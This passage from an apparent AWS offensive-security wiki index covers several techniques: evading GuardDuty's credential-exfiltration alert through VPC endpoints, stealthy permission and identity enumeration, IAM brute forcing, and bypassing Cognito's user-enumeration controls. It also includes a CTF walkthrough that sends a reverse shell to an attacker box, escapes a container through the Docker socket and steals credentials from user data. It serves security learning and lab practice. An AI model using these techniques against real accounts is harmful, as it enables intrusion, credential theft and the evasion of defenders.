UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS.</p> <p>To get around this alert being triggered, attackers could use the stolen credentials from the attacker's EC2 instance. The alert only detected if the credentials were used outside of EC2, not the victim's specific EC2 instance. So by using their own, or exploiting another EC2 instance, attackers could bypass the GuardDuty alert.</p> <p>On January 20th 2022, AWS released a new GuardDuty finding called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS. This new finding addressed the shortcomings of the previous one. Now, when IAM credentials are used from ANY EC2 instance, if those credentials don't belong to the same account as the EC2 instance which generated them, it triggers the alert. Thus, simply using your own EC2 instance is no longer viable. This addresses a long standing concern within the cloud security community.</p> <p>However, there is currently a functioning bypass for this - VPC Endpoints. Using VPC Endpoints will not trigger the GuardDuty alert. What this means is that, as an attacker, <code>if you steal IAM credentials from an EC2 instance, you can use those credentials from your own EC2 instance while routing traffic through VPC Endpoints. This will not trigger the GuardDuty finding</code>.</p> <p>Note</p> <p>There is another bypass option, however, it would only be useful in niche scenarios. The InstanceCredentialExfiltration finding is only tied to the AWS account, not the EC2 instance. As a result, if you compromise an EC2 instance in the target account and then compromise OTHER EC2 instances in the account, or steal their IAM credentials, you can safely use them from the initially compromised instance without fear of triggering GuardDuty.</p>"},{"location":"aws/avoiding-detection/steal-keys-undetected/#sneakyendpoints","title":"SneakyEndpoints","text":"<p>To make this setup faster/easier for Penetration Testers and Red Teamers, SneakyEndpoints was created. This project is a collection of Terraform configurations which can quickly spin up an environment to attack form. It will create an EC2 instance in a private subnet (no internet access) and create a number of VPC Endpoints for you to use. This setup ensures we don't accidentally access an internet facing API endpoint and trigger the alert.</p>"},{"location":"aws/avoiding-detection/steal-keys-undetected/#setup-and-usage","title":"Setup and Usage","text":"<p>To use SneakyEndpoints first install Terraform and set AWS credentials within your shell session. </p> <p>Next, perform the following Terraform commands:</p> <pre><code>terraform init\nterraform apply\n</code></pre> <p>Before continuing Terraform will ask you to confirm the deployment. After that, way ~10 minutes for everything to be done. Please note that after the deployment is finished it may take a short period of time for the EC2 instance to be connectable.</p> <p>After this period of time, connect to the EC2 instance using the AWS Systems Manager Session Manager.</p> <p>To teardown the infrastructure, run the following command:</p> <pre><code>terraform destroy\n</code></pre>"},{"location":"aws/avoiding-detection/steal-keys-undetected/#using-sts","title":"Using STS","text":"<p>Due to a quirk in how STS is setup, you will have to set a specific environment variable with the following command.</p> <pre><code>export AWS_STS_REGIONAL_ENDPOINTS=regional\n</code></pre> <p>This is because some versions of the AWS SDK default to using the global STS endpoint at <code>sts.amazonaws.com</code>. This is problematic because VPC endpoints are regional (e.g. <code>sts.us-east-1.amazonaws.com</code>). The result is that if you use a version that is expecting the global endpoint with SneakyEndpoints, the connection will timeout.</p>"},{"location":"aws/capture_the_flag/cicdont/","title":"CI/CDon't","text":"<p>Link to Project: CI/CDon't</p> <p>Note</p> <p>This project will deploy intentionally vulnerable software/infrastructure to your AWS account. Please ensure there is no sensitive or irrecoverable data in the account. Attempts have been made to mitigate this however they may not be fullproof; Security Group rules only allow access to the vulnerable EC2 instance from your public IP address, and a randomly generated password is required to access it.</p> <p>Warning</p> <p>If you intend to play the CTF it is a good idea to read through this page carefully to ensure you have all the details (minus the walkthrough). This page will familiarize the player with how the CTF works, what the objective is, and what the storyline is.</p>"},{"location":"aws/capture_the_flag/cicdont/#background","title":"Background","text":"<p>This is an AWS/GitLab CI/CD themed CTF that you can run in your own AWS account. All that is required is an AWS account and Terraform installed locally on your machine.</p> <p>Costs should be minimal; running this infrastructure in my own account for three hours didn't accrue a cent in the Billing Dashboard, however extended time frames may cause costs to add up.</p> <p>In terms of difficulty, it would be rated low. The goal is more about having fun and working through some simple CI/CD/AWS challenges that even non-security folks would enjoy.</p>"},{"location":"aws/capture_the_flag/cicdont/#how-to-play","title":"How to Play","text":"<p>Clone this repository and navigate to the cicdont directory.</p> <pre><code>git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git\ncd htc-ctfs/aws/cicdont\n</code></pre> <p>To deploy the CTF environment run the Terraform init/apply command.</p> <pre><code>terraform init\nterraform apply\n</code></pre> <p>You will be prompted with two questions. The first is a consent related to the costs of the CTF (Again, these should be minimal however the environment should still be taken down when you're finished with it). The second is asking your player name. Please do not use special characters in the name, only upper and lower case letters. This will be used in the game.</p> <p>Note</p> <p>It will take approximately 10 minutes for all the infrastructure to be deployed and ready. This 10 minute timer begins AFTER the Terraform apply has completed. This time is used to install all the software, create the NPCs, etc.</p> <p>Warning</p> <p>To be able to access the vulnerable instance, Terraform will attempt to determine your public IP address and create a security group that only that IP address can access. If you cannot access the target_ip (explained below) after 10 minutes, check the AWS console for a security group named <code>allow_http</code> and ensure that its configuration would allow you to reach it.</p> <p>To destroy the CTF environment run the Terraform destroy command.</p> <pre><code>terraform destroy\n</code></pre> <p>This will again prompt you for the two questions. Please answer them and the infrastructure will be destroyed.</p>"},{"location":"aws/capture_the_flag/cicdont/#the-important-bits","title":"The Important Bits","text":"<p>Once you've run terraform apply, you will receive 5 outputs. This will include the following:</p> <ul> <li>Player Username</li> <li>Player Password (randomly generated)</li> <li>Attackbox IP</li> <li>Target IP</li> <li>Time warning</li> </ul> <p>The attackbox is an EC2 instance you can use for whatever purposes you deem fit. In particular you can use it to catch a reverse shell, or load your C2 platform of choice on it (you have sudo access via the password).</p> <p>To access the attackbox, you can ssh using your player username and password.</p> <pre><code>ssh &lt;player username&gt;@&lt;attackbox IP&gt;\n</code></pre> <p>Note</p> <p>When sshing with a player username, note that the username is case-sensitive.</p> <p>It will take approximately 10 minutes for all the infrastructure to finish deploying. If you'd like to test if it's finished, you can navigate to <code>http://&lt;target IP&gt;/</code>. If it doesn't respond, or only shows a generic GitLab login page, then the CTF is not ready yet. If you see a message about SoftHouseIO, then everything is setup and ready.</p> <p>Note</p> <p>To be able to access the vulnerable instance, Terraform will attempt to determine your public IP address and create security group rules that only that IP address can access. If you cannot access the target instance after 10 minutes (likely shorter), check the AWS console for a security group named <code>allow_http</code> and ensure that it's configuration would allow you to reach it.</p> <p>These security group rules apply to both the target (GitLab) and the attackbox. Additionally, the rules are configured to allow the attackbox to receive incoming traffic from the target (to catch shells).</p> <p>If you see any references to <code>gamemaster</code>, please ignore it. Those scripts are used to simulate the NPCs and have them complete their lore tasks. It is unrelated to the challenge.</p>"},{"location":"aws/capture_the_flag/cicdont/#the-story","title":"The Story","text":"<p>You are &lt;player username&gt;, a developer at SoftHouseIO, an independent software development consultancy firm. While you like the company, you're thinking about making a little money on the side, perhaps through not entirely legal means. Can you say ransomware?</p> <p>After planning your attack you figure the best place to get started is the company GitLab server at http://&lt;target IP&gt;. Your username and password should you get you in. You'll want to gain access to administrative credentials for the AWS account the company uses.</p>"},{"location":"aws/capture_the_flag/cicdont/#the-objective","title":"The Objective","text":"<p>Gain access to the <code>aws_admin_automation_user</code> through whatever means necessary (Note that this role has no permissions. It is simply the goal).</p>"},{"location":"aws/capture_the_flag/cicdont/#feedback","title":"Feedback","text":"<p>Want to provide feedback on the challenge? Open a new discussion on GitHub</p>"},{"location":"aws/capture_the_flag/cicdont/#walkthrough","title":"Walkthrough","text":"<p>The following is a step by step walkthrough of the CTF. You can refer to this if you get stuck or simply just want to know what is next. Click the summary below to expand it.</p> Summary <p>Consent and Name</p> <p>To begin the CTF we must first stand up all the infrastructure. We do this using Terraform.</p> <p>Download the challenge using git. <pre><code>git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git\ncd htc-ctfs/aws/cicdont\n</code></pre></p> <p>Initialize the project. <pre><code>terraform init\n</code></pre></p> <p>Create the infrastructure. <pre><code>terraform apply\n</code></pre></p> <p>We will be prompted first with a consent. Read through the question and answer with yes or no.</p> <p>After this, it will ask for a player name. Please only use lower and uppercase letters. No special characters or numbers.</p> <p></p> <p>After this, you will be asked if you'd like to perform the deployment. Answer with \"yes\".</p> <p>The Terraform deployment will begin.</p> <p>Wait</p> <p>Note</p> <p>You will now need to wait 10 minutes for the deployment to finish. The 10 minute timer starts AFTER you get the \"Apply complete\" notification.</p> <p></p> <p>Does it really take 10 minutes? Yes, it takes a little bit to get everything setup. You can take this time to get familiar with your attackbox. This is an EC2 instance you can use for whatever you need during the CTF, particularly to catch shells.</p> <p>You can ssh into the box using your username and password</p> <pre><code>ssh &lt;player_username&gt;@&lt;target_ip&gt;\n</code></pre> <p>Note</p> <p>The username is case-sensitive.</p> <p>Getting Started</p> <p>After waiting those 10 minutes, you finally have a target. You can navigate to the target_ip to see a GitLab instance. Log in using your player username and password.</p> <p></p> <p>From here, you can navigate around, explore the various projects, and more. You might even notice a little notification in the upper right hand corner.</p> <p></p> <p>Ashley has some work for us! Perhaps this will give us a hint for something we can exploit.</p> <p>Navigate to the mvp-docker project's Issues page.</p> <p></p> <p>This is interesting for a few reasons. Most notably, Ashley wants some help with building a Docker container as a part of the CI/CD pipeline. She also mentions a gitlab-ci.yml file, which is the configuration for the GitLab CI/CD pipeline.</p> <p>Building Docker images as a part of a CI/CD pipeline can have serious security implications and this is definitely worth looking into.</p> <p>Before we can get to that fun, let's take a look at that gitlab-ci.yml file. Navigate there and make some changes (you can edit the file through the web browser if you prefer or you can clone the project locally).</p> <p></p> <p>After committing changes (via the web interface or otherwise) you can navigate to the <code>CI/CD</code> tab on the left to see the pipeline execute.</p> <p>Clicking on the status, and then the build job we can see the output.</p> <p></p> <p>This can tell us a few things that are very useful to us as attackers. First, on line 3, we see that the CI/CD pipeline is using the \"docker\" executor, meaning everything executes inside a Docker container somewhere. On line 6, we see that it is using an Ubuntu Docker image. And lines 20+ show us that our input is executing in this environment.</p> <p>This looks like a fantastic place to start.</p> <p>Getting a Reverse Shell</p> <p>Our next step will be to get a shell in this environment. This is where our attackbox can come in.</p> <p>Please note: You are welcome to use your C2 platform of choice (If you'd like a recommendation, I'm a fan of Mythic). For this walkthrough I will use netcat for simplicity.</p> <p>SSH into your attack box and install a tool called <code>ncat</code>.</p> <p></p> <p>Now, we can setup a listener (from the attackbox) with the following command.</p> <pre><code>sudo ncat -l 443 --ssl -v\n</code></pre> <p>We can now go back and edit the gitlab-ci.yml file to send a reverse shell. Using Ncat it's as easy as adding the following lines. From our previous foray we know this is an Ubuntu Docker container, and thus, we can use the apt package manager.</p> <pre><code>apt update\napt install -y ncat\nncat &lt;attackbox_ip&gt; 443 --ssl -e /bin/bash -v\n</code></pre> <p></p> <p>Now click \"Commit changes\" and watch that pipeline run.</p> <p>You are now the proud owner of a reverse shell inside this Docker container.</p> <p></p> <p>Docker Socket</p> <p>From here, there are a number of things we could try to do. Your first instinct may be, \"I'm on an EC2 instance, can I reach the metadata service?\". That's a great idea! Unfortunately you can't.</p> <p>The bright folks over at SoftHouseIO use IMDSv2, one of the benefits of which is that Docker containers cannot reach it by default.</p> <pre><code>TTL of 1: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to \"1\". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.\n</code></pre> <p>That's a bummer. Other options? Try and pivot off this machine to something else in the VPC? Access a service exposed internally to the host (172.17.0.1)? Escape the container?</p> <p>That last one might get us somewhere. Ashley mentioned having some issues about building a Docker container in the pipeline. To do that, wouldn't they have to use something like kaniko? What if they just exposed the Docker socket instead?</p> <p>When a Docker socket is exposed inside a container, it can have dangerous consequences as an attacker can potentially escape the container and escalate privileges on the host.</p> <p>The common location for the socket is at <code>/var/run/docker.sock</code>, let's go look for it.</p> <p></p> <p>There we go! They did mount the Docker socket! Let's use this to escape the container.</p> <p>Escaping the Container</p> <p>Note: There are many different ways you could abuse this to escape the container. I will walk through what I think is the simplest.</p> <p>First let's install two tools that will make things easier for ourselves.</p> <pre><code>apt update\napt install -y python3 docker.io\n</code></pre> <p>Python3 will help us to spawn a <code>tty</code> and having the Docker binary will make it easier to interact with the Docker socket. We could alternatively use curl.</p> <p>With those two tools installed, let's spawn a <code>tty</code> with the classic Python one-liner.</p> <pre><code>python3 -c \"import pty;pty.spawn('/bin/bash')\"\n</code></pre> <p></p> <p>Doesn't that looks so much better? We have an actual shell prompt now. This will be useful for interacting with the Docker socket. Speaking of which, let's see which Docker containers are running on the host.</p> <pre><code>docker ps\n</code></pre> <p>This output lets us know that everything is working as intended. With access to the Docker socket, let's escape by creating a privileged Docker container (Note: There are a number of options to do this).</p> <pre><code>docker run -it --rm --pid=host --privileged ubuntu bash\n</code></pre> <p>Now, inside our new privileged container, let's migrate to the namespace of a process running on the host.</p> <pre><code>nsenter --target 1 --mount --uts --ipc --net --pid -- bash\n</code></pre> <p></p> <p>How fun is that?! We now have root on the underlying host and have escaped the container.</p> <p>Escalating</p> <p>With root on the host, we have a number of options for next steps. We can steal IAM credentials from the metadata service, brute force our IAM permissions, enumerate roles in the account to find out what services are running in the account, attempt to escalate IAM privileges, maybe try to intercept the SSM agent if it's running on the box? One place we should check before doing all that is the user data.</p> <p>User data is used to run commands when an EC2 instance is first started or after it is rebooted (with the right configuration). This can be very helpful to determine what software is installed on the machine, and it can also potentially be a source of credentials from developers who aren't very careful.</p> <p>Let's check this (remember we are using IMDSv2).</p> <pre><code>TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/user-data/\n</code></pre> <p></p> <p>On first glance it appears pretty standard; It installs GitLab, installs the GitLab runners, activates them, etc.</p> <p>There is a slight problem though, on the line where they installed GitLab, they accidentally leaked a credential. An important one at that. That is the credential to the root user of GitLab.</p> <p>This is bad news for SoftHouseIO and great news for us. Let's use this to log into the GitLab web UI as an administrator (username: root, password: &lt;what's in the useradata&gt;)</p> <p>After exploring around for a little while, you may stumble into the the <code>infra-deployer</code> project. That sounds important.</p> <p></p> <p>\"Admin IAM Credentials are being stored in environment variables to be used with the GitLab runners\". That sounds.....very interesting. The good news is that as an administrator, we can see those variables. Navigate to the <code>Settings</code> tab on the left and then click <code>CI/CD</code>. Next, click <code>Expand</code> on the <code>Variables</code> section.</p> <p></p> <p>An Access Key and a Secret Access Key! Let's see who they belong to (you can also do this without logging to CloudTrail if you were so inclined).</p> <pre><code>export AWS_ACCESS_KEY_ID=AKIA....\nexport AWS_SECRET_ACCESS_KEY=....\naws sts get-caller-identity\n</code></pre> <p></p> <p>And with that we have achieved our objective! Congratulations on completing the CTF. Want to provide some feedback? Feel free to open a discussion on GitHub.</p>"},{"location":"aws/capture_the_flag/cicdont/#acknowledgements","title":"Acknowledgements","text":"<p>These wonderful folks helped beta-test this CTF and provided feedback.</p> <p>Christophe Tafani-Dereeper Jake Berkowsky Kaushik Pal</p>"},{"location":"aws/deprecated/stealth_perm_enum/","title":"[Deprecated] Enumerate Permissions without Logging to CloudTrail","text":"<ul> <li> <p> Original Research</p> <p> <p>Enumerate AWS API Permissions Without Logging to CloudTrail by Nick Frichette</p> <p></p> </p> </li> <li> <p> Tools mentioned in this article</p> <p>aws_stealth_perm_enum</p> </li> </ul> <p>Warning</p> <p>As of 5/18/2021, this technique has been resolved and fixed by AWS. Mutating the Content-Type header when making API requests no longer can be used to enumerate permissions of a role or user. This page is maintained for historical and inspiration purposes.</p> <p>After compromising an IAM credential while attacking AWS, your next task will be to determine what permissions that credential has scoped to them.</p> <p>Aside from guessing, enumerating these permissions would typically require a tool to brute force them like enumerate-iam (which is a fantastic tool). The problem of course is that this will generate a ton of CloudTrail logs and will alert any defender. This poses a challenge to us, how can we enumerate permissions in a stealthy manner?  </p> <p>The good news is that there is a bug in the AWS API that affects 589 actions across 39 different AWS services. This bug is a result of a mishandling of the Content-Type header, and when that header is malformed in a specific way the results are not logged to CloudTrail. Based on the response codes/body we can determine if the role does or does not have permission to make that API call.</p> <p>The following services are affected, although please note, that not all actions for these services can be enumerated.  </p> application-autoscaling appstream athena autoscaling-plans aws-marketplace cloudhsm codecommit codepipeline codestar comprehend cur datapipeline dax discovery forecast gamelift health identitystore kinesis kinesisanalytics macie mediastore mgh mturk-requester opsworks-cm personalize redshift-data route53domains route53resolver sagemaker secretsmanager shield sms snowball support tagging textract translate workmail <p>Note</p> <p>For an in depth explanation for the bug, please see the original research. In this article we will just discuss how to take advantage of it.</p> <p>There are some conditions to the enumeration, and they are defined below.</p> <p>1 - The AWS service uses the JSON 1.1 protocol. 2 - The API actions returns a unique error code depending on the permission set. 3 - The resource associated with that action is set to \"*\".</p> <p>To perform the enumeration there is a script here. Setting the credentials as environment variables and then running the script will inform you what API permissions you have available to you.</p> <p></p>"},{"location":"aws/deprecated/whoami/","title":"[Deprecated] Whoami - Get Principal Name From Keys","text":""},{"location":"aws/deprecated/whoami/#sns-publish","title":"sns publish","text":"<p>Warning</p> <p>As of Q4 2023 these calls can optionally be tracked in CloudTrail by enabling dataplane logging. While this will not be enabled for the overwhelming majority of AWS accounts, there is no reason to risk it when there are other methods available.</p> <p>sns:Publish would return the ARN of the calling user/role without logging to CloudTrail. To use this method, you had to provide a valid AWS account ID in the API call. This could be your own account id, or the account id of anyone else.</p> <pre><code>user@host:~$ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa\n\nAn error occurred (AuthorizationError) when calling the Publish operation: User: arn:aws:iam::123456789123:user/no-perm is not authorized to perform: SNS:Publish on resource: arn:aws:sns:us-east-1:*account id*:aaa because no resource-based policy allows the SNS:Publish action\n</code></pre>"},{"location":"aws/deprecated/whoami/#sdb-list-domains","title":"sdb list-domains","text":"<p>Warning</p> <p>As of August 15, 2020 these calls are now tracked in CloudTrail (tweet). This page is maintained for historical and inspiration purposes.</p> <p>As found by Spencer Gietzen, the API call for sdb list-domains will return very similar information to get-caller-identity.</p> <pre><code>user@host:$ aws sdb list-domains --region us-east-1\n\nAn error occurred (AuthorizationFailure) when calling the ListDomains operation: User (arn:aws:sts::123456789012:assumed-role/example_role/i-00000000000000000) does not have permission to perform (sdb:ListDomains) on resource (arn:aws:sdb:us-east-1:123456789012:domain/). Contact account owner.\n</code></pre>"},{"location":"aws/enumeration/account_id_from_ec2/","title":"Enumerate AWS Account ID from an EC2 Instance","text":"<p>With shell or command line access to an EC2 instance, you will be able to determine some key information about the AWS account.</p>"},{"location":"aws/enumeration/account_id_from_ec2/#get-caller-identity","title":"get-caller-identity","text":"<p>By using get-caller-identity, the EC2 instance may have an EC2 instance profile setup.</p> <pre><code>user@host:$ aws sts get-caller-identity\n{\n   \"Account\": \"000000000000\",\n   \"UserId\": \"AROAJIWIJQ5KCHMJX4EWI:i-00000000000000000\",\n   \"Arn\": \"arn:aws:sts::000000000000:assumed-role/AmazonLightsailInstanceRole/i-00000000000000000\"\n}\n</code></pre>"},{"location":"aws/enumeration/account_id_from_ec2/#metadata","title":"Metadata","text":"<p>By using the metadata service, you will be able to retrieve additional information about the account, and more specifically for the EC2 instance being used.</p> <p><pre><code>TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/dynamic/instance-identity/document\n</code></pre> The output will reveal additional information. <pre><code>{\n   \"accountId\" : \"000000000000\",\n   \"architecture\" : \"x86_64\",\n   \"availabilityZone\" : \"ap-southeast-2a\",\n   \"billingProducts\" : null,\n   \"devpayProductCodes\" : null,\n   \"marketplaceProductCodes\" : null,\n   \"imageId\" : \"ami-042c4533fa25c105a\",\n   \"instanceId\" : \"i-00000000000000000\",\n   \"instanceType\" : \"t2.nano\",\n   \"kernelId\" : null,\n   \"pendingTime\" : \"2022-02-27T22:34:30Z\",\n   \"privateIp\" : \"172.26.6.225\",\n   \"ramdiskId\" : null,\n   \"region\" : \"ap-southeast-2\",\n   \"version\" : \"2017-09-30\"\n}\n</code></pre></p>"},{"location":"aws/enumeration/account_id_from_s3_bucket/","title":"Enumerate AWS Account ID from a Public S3 Bucket","text":"<ul> <li> <p> Original Research</p> <p> <p>Finding the Account ID of any public S3 bucket by Ben Bridts</p> <p></p> </p> </li> <li> <p> Tools mentioned in this article</p> <p>s3-account-search: A tool to find the account ID an S3 bucket belongs to.</p> </li> </ul> <p>Note</p> <p>When you install a version &lt;0.2.0 using pip, the executable is named <code>s3-account-search</code>.</p> <p>By leveraging the s3:ResourceAccount policy condition, we can identify the AWS account ID associated with a public S3 bucket. This is possible because it supports wildcards (*). With this, we can sequentially enumerate the account ID.</p> <p>To test this, you can use Grayhat Warfare's list of public S3 buckets.</p> <p>You will need a role with <code>s3:getObject</code> and <code>s3:ListBucket</code> permissions, and you can specify the target bucket as the resource for your policy. Alternatively, you can set a resource of '*' to quickly test multiple buckets.</p>"},{"location":"aws/enumeration/account_id_from_s3_bucket/#installation","title":"Installation","text":"<p>The tool can be installed with the following command:</p> <pre><code>python3 -m pip install s3-account-search\n</code></pre>"},{"location":"aws/enumeration/account_id_from_s3_bucket/#setup","title":"Setup","text":"<p>To use the tool, there is some setup on your end. You will need your own AWS account with a role you can assume with the <code>s3:GetObject</code> or <code>s3:ListBucket</code> permissions. s3-account-finder will assume this role so make sure the credentials you're using can do this.</p>"},{"location":"aws/enumeration/account_id_from_s3_bucket/#usage","title":"Usage","text":"<pre><code>s3-account-search arn:aws:iam::123456789123:role/s3-searcher &lt;bucket name&gt;\nStarting search (this can take a while)\nfound: 1\nfound: 12\n*** snip ***\nfound: 123456789123\n</code></pre> <p>Operational Security Tip</p> <p>As of 2022's announcement, any new buckets are created without the Public Access policy and specifically without any ACLs. The removal of the ACLs means that the <code>GetObject</code>, instead you must enable the AWS ACLs that make S3 Buckets readable in addition to having GetBucket in the IAM Policy. Here is a terraform block to enable this abuse which use to be the default pre-2022. </p> <pre><code>```\nresource \"aws_s3_bucket_ownership_controls\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n    rule {\n        object_ownership = \"BucketOwnerPreferred\"\n    }\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n\n    block_public_acls       = false\n    block_public_policy     = false\n    ignore_public_acls      = false\n    restrict_public_buckets = false\n}\n\nresource \"aws_s3_bucket_acl\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n    acl    = \"public-read\"\n\n    depends_on = [\n        aws_s3_bucket_ownership_controls.example,\n        aws_s3_bucket_public_access_block.example\n    ]\n}\n```\n</code></pre> <p>Tip</p> <p>Pair this with Unauthenticated Enumeration of IAM Users and Roles!</p>"},{"location":"aws/enumeration/brute_force_iam_permissions/","title":"Brute Force IAM Permissions","text":"<ul> <li> <p> Technique seen in the wild</p> <p>Reference: Compromised Cloud Compute Credentials: Case Studies From the Wild</p> </li> <li> <p> Tools mentioned in this article</p> <p>enumerate-iam: Enumerate the permissions associated with an AWS credential set.</p> </li> </ul> <p>When attacking AWS you may compromise credentials for an IAM user or role. This can be an excellent step to gain access to other resources, however it presents a problem for us; How do we know what permissions we have access to? While we may have context clues based on the name of the role/user or based on where we found them, this is hardly exhaustive or thorough. </p> <p>This leaves us with basically one option, brute force the permissions. To do this, we will try as many safe API calls as possible, seeing which ones fail and which ones succeed. Those that succeed are the permissions we have available to us. There are several tools to do this, however, here we will be covering enumerate-iam by Andr\u00e9s Riancho.</p> <p>To use enumerate-iam, simply pull a copy of the tool from GitHub, provide the credentials, and watch the magic happen. All calls by enumerate-iam are non-destructive, meaning only get and list operations are used. This reduces the risk of accidentally deleting something in a client's account.</p> <pre><code>user@host:/enum$ ./enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN\n2020-12-20 18:41:26,375 - 13 - [INFO] Starting permission enumeration for access-key-id \"ASIAAAAAAAAAAAAAAAAA\"\n2020-12-20 18:41:26,812 - 13 - [INFO] -- Account ARN : arn:aws:sts::012345678912:assumed-role/role-b/user-b\n2020-12-20 18:41:26,812 - 13 - [INFO] -- Account Id  : 012345678912\n2020-12-20 18:41:26,813 - 13 - [INFO] -- Account Path: assumed-role/role-b/user-b\n2020-12-20 18:41:27,283 - 13 - [INFO] Attempting common-service describe / list brute force.\n2020-12-20 18:41:34,992 - 13 - [INFO] -- codestar.list_projects() worked!\n2020-12-20 18:41:35,928 - 13 - [INFO] -- sts.get_caller_identity() worked!\n2020-12-20 18:41:36,838 - 13 - [INFO] -- dynamodb.describe_endpoints() worked!\n2020-12-20 18:41:38,107 - 13 - [INFO] -- sagemaker.list_models() worked!\n</code></pre>"},{"location":"aws/enumeration/brute_force_iam_permissions/#updating-apis","title":"Updating APIs","text":"<p>With an attack surface that evolves as rapidly as AWS, we often have to find and abuse newer features. This is one area where enumerate-iam shines. The tool itself has a built in feature to read in new AWS API calls from the JavaScript SDK, and use that information to brute force. After downloading enumerate-iam, perform the following steps to update the API lists.</p> <pre><code>cd enumerate_iam/\ngit clone https://github.com/aws/aws-sdk-js.git\npython generate_bruteforce_tests.py\n</code></pre> <p>This will create or update a file named bruteforce_tests.py under enumerate-iam.</p>"},{"location":"aws/enumeration/brute_force_iam_permissions/#opsec-considerations","title":"OPSEC Considerations","text":"<p>One thing to note is that this tool is very noisy and will generate a ton of CloudTrail logs. This makes it very easy for a defender to spot this activity and lock you out of that role or user. Try other methods of permission enumeration first, or be willing to lose access to these credentials before resorting to brute-force. </p>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/","title":"Bypass Cognito Account Enumeration Controls","text":"<ul> <li> <p> Additional Resources</p> <p>AWS Docs: Managing user existence error responses</p> </li> </ul> <p>Amazon Cognito is a popular \u201csign-in as a service\u201d offering from AWS. It allows developers to push the responsibility of developing authentication, sign up, and secure credential storage to AWS so they can instead focus on building their app.</p> <p>By default, Cognito will set a configuration called <code>Prevent user existence errors</code>. This is designed to prevent adversaries from enumerating accounts and using that information for further attacks, such as credential stuffing.</p> <p>While this is useful in theory, and a good default to have, it can be bypassed via cognito-idp:SignUp calls for usernames. This bypass was originally reported via a GitHub issue in July 2020 and Cognito is still vulnerable as of early 2024.</p> <p>Note</p> <p>Cognito user pools can be configured to prevent disclosing user existence errors via alias attributes for email addresses and phone numbers, but not usernames. Be mindful that the 'Prevent user existence errors' setting does not cover all scenarios as detailed below.    </p>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#example-responses","title":"Example Responses","text":"<p>To demonstrate the responses depending on the configuration and if a user does/does not exist, here are some examples. The <code>admin</code> user exists in the user pool and is the account we will be trying to enumerate.</p> <p>Note</p> <p>The <code>client-id</code> value for a Cognito User Pool is not secret and is accessible from the JavaScript served by the client. </p>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-exists","title":"Prevent user existence errors on and user exists","text":"<pre><code>$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=admin,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n</code></pre>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-does-not-exist","title":"Prevent user existence errors on and user does not exist","text":"<pre><code>$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=notreal,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n</code></pre>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-off-and-user-exists","title":"Prevent user existence errors off and user exists","text":"<pre><code>$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=admin,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n</code></pre>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-off-and-user-does-not-exist","title":"Prevent user existence errors off and user does not exist","text":"<pre><code>$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=notreal,PASSWORD=blah\n\nAn error occurred (UserNotFoundException) when calling the InitiateAuth operation: User does not exist.\n</code></pre> <p>As you can see, an adversary can use the <code>UserNotFoundException</code> and <code>NotAuthorizedException</code> to enumerate whether an account does or does not exist. By enabling the <code>Prevent user existence errors</code> configuration, defenders can successfully mitigate these types of attacks. However we will show how it can be bypassed.</p>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#cognito-idpsignup","title":"cognito-idp:SignUp","text":"<p>The <code>Prevent user existence errors</code> configuration appears to only impact the <code>initiate-auth</code> flow. It does not impact cognito-idp:SignUp. Because of this we can use this API call to enumerate if a user does or does not exist. Please see the following examples:</p>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-exists_1","title":"Prevent user existence errors on and user exists","text":"<pre><code>$ aws cognito-idp sign-up \\\n--client-id 719... \\\n--username admin \\\n--password \"BlahBlah123!\" \\\n--user-attributes Name=email,Value=\"blah@blah.net\"\n\nAn error occurred (UsernameExistsException) when calling the SignUp operation: User already exists\n</code></pre>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-does-not-exist_1","title":"Prevent user existence errors on and user does not exist","text":"<pre><code>$ aws cognito-idp sign-up \\\n--client-id 719... \\\n--username notreal \\\n--password \"BlahBlah123!\" \\\n--user-attributes Name=email,Value=\"blah@blah.net\"\n{\n    \"UserConfirmed\": false,\n    